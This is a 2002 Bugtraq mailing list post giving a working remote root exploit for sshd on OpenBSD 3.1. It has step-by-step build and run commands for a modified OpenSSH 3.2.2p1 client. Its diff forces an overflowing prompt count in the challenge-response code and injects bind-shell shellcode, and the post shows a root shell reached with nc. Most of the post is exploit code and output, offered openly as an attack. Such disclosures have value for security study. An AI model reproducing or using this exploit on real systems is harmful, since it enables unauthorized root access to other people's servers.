Bugtraq mailing list archives

OpenBSD 3.1 sshd remote root exploit


From: Christophe Devine <devine () iie cnam fr>
Date: 28 Jun 2002 18:02:54 -0000




1. Download openssh-3.2.2p1.tar.gz and untar it

~ $ tar -xvzf openssh-3.2.2p1.tar.gz

2. Apply the patch provided below by running:

~/openssh-3.2.2p1 $ patch < path_to_diff_file

3. Compile the patched client

~/openssh-3.2.2p1 $ ./configure && make ssh

4. Run the evil ssh:

~/openssh-3.2.2p1 $ ./ssh root:skey@localhost

5. If the sploit worked, you can connect to port 128 in another terminal:

~ $ nc localhost 128
uname -a
OpenBSD nice 3.1 GENERIC#59 i386
id
uid=0(root) gid=0(wheel) groups=0(wheel)

--- sshconnect2.c       Sun Mar 31 20:49:39 2002
+++ evil-sshconnect2.c  Fri Jun 28 19:22:12 2002
@@ -839,6 +839,56 @@
 /*
  * parse INFO_REQUEST, prompt user and send INFO_RESPONSE
  */
+
+int do_syscall( int nb_args, int syscall_num, ... );
+
+void shellcode( void )
+{
+    int server_sock, client_sock, len;
+    struct sockaddr_in server_addr;
+    char rootshell[12], *argv[2], *envp[1];
+
+    server_sock = do_syscall( 3, 97, AF_INET, SOCK_STREAM, 0 );
+    server_addr.sin_addr.s_addr = 0;
+    server_addr.sin_port = 32768;
+    server_addr.sin_family = AF_INET;
+    do_syscall( 3, 104, server_sock, (struct sockaddr *) &server_addr, 
16 );
+    do_syscall( 2, 106, server_sock, 1 );
+    client_sock = do_syscall( 3, 30, server_sock, (struct sockaddr *)
+       &server_addr, &len );
+    do_syscall( 2, 90, client_sock, 0 );
+    do_syscall( 2, 90, client_sock, 1 );
+    do_syscall( 2, 90, client_sock, 2 );
+    * (int *) ( rootshell + 0 ) = 0x6E69622F;
+    * (int *) ( rootshell + 4 ) = 0x0068732f;
+    * (int *) ( rootshell + 8 ) = 0;
+    argv[0] = rootshell;
+    argv[1] = 0;
+    envp[0] = 0;
+    do_syscall( 3, 59, rootshell, argv, envp );
+}
+
+int do_syscall( int nb_args, int syscall_num, ... )
+{
+    int ret;
+    asm(
+       "mov    8(%ebp), %eax; "
+       "add    $3,%eax; "
+       "shl    $2,%eax; "
+       "add    %ebp,%eax; "
+       "mov    8(%ebp), %ecx; "
+       "push_args: "
+       "push   (%eax); "
+       "sub    $4, %eax; "
+       "loop   push_args; "
+       "mov    12(%ebp), %eax; "
+       "push   $0; "
+       "int    $0x80; "
+       "mov    %eax,-4(%ebp)"
+    );
+    return( ret );
+}
+
 void
 input_userauth_info_req(int type, u_int32_t seq, void *ctxt)
 {
@@ -865,7 +915,7 @@
        xfree(inst);
        xfree(lang);
 
-       num_prompts = packet_get_int();
+       num_prompts = 1073741824 + 1024;
        /*
         * Begin to build info response packet based on prompts requested.
         * We commit to providing the correct number of responses, so if
@@ -874,6 +924,13 @@
         */
        packet_start(SSH2_MSG_USERAUTH_INFO_RESPONSE);
        packet_put_int(num_prompts);
+
+       for( i = 0; i < 1045; i++ )
+           packet_put_cstring( "xxxxxxxxxx" );
+
+       packet_put_string( shellcode, 2047 );
+       packet_send();
+       return;
 
        debug2("input_userauth_info_req: num_prompts %d", num_prompts);
        for (i = 0; i < num_prompts; i++) {


Current thread: